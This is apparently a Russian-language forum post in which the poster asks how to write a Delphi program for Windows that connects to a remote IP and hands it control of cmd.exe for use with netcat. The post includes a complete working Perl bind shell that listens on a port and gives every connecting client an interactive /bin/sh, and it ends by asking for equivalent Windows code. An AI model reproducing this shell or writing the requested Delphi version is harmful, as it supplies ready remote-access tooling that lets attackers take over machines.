Возможно ли в Delphi забиндить cmd.exe для NetCat (nc.exe) ?
То есть создать сокет, который приконнектится к IP адресу и порту и передаст управление консоли этому IP адресу.
К примеру на перле под Unix бекконнект с привязкой консоли выглядит вот таким небольшим кодом:
Код:
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
accept(CONN,S);
if(!($pid=fork)) {
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}
Таким образом перенаправляя управление локального bin/sh удалённому IP адресу.
Может у кого есть мысли или примерный код как такое реализовать на делфи под винду?
Я к сожалению не улавливаю алгоритм как он это делает. Перл не знаю... только в теории кажется соединиться с портом, принять от него команду, запустить консоль winehec(‘cmd.exe /c -принятое сообщение от айпи’); нее, видимо так не катит, ибо полноценного соединения тут не будет, только приём\ответ. А пример на перле именно привязывает полностью консоль.
Буду очень рад если кто нибудь поможет с кодом, или скажет в каком направлении копать.